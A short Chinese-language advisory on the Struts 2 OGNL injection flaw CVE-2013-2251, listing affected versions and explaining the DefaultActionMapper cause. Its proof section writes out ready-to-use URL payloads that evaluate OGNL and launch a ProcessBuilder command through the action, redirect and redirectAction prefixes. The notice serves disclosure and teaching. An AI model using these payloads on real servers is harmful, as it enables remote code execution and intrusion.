Struts又爆远程代码执行漏洞了!在这次的漏洞中，攻击者可以通过操纵参数远程执行恶意代码。Struts 2.3.15.1之前的版本，参数action的值redirect以及redirectAction没有正确过滤，导致ognl代码执行。
描述
影响版本 Struts 2.0.0 - Struts 2.3.15
报告者 Takeshi Terada of Mitsui Bussan Secure Directions, Inc.
CVE编号 CVE-2013-2251
漏洞证明
参数会以OGNL表达式执行
?action:%25{3*4} ?redirect:%25{3*4}代码执行
?action:%25{(new+ java.lang.ProcessBuilder(new+java.lang.String[] {'command','goes','here'})).start()} ?redirect:%25 {(new+java.lang.ProcessBuilder(new+java.lang.String[] {'command','goes','here'})).start()} ?redirectAction:%25 {(new+java.lang.ProcessBuilder(new+java.lang.String[] {'command','goes','here'})).start()}漏洞原理
The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with “action:” or “redirect:”, followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms.
In Struts 2 before 2.3.15.1 the information following “action:”, “redirect:” or “redirectAction:” is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.
以下仅供教学研究之用，严禁非法用途!
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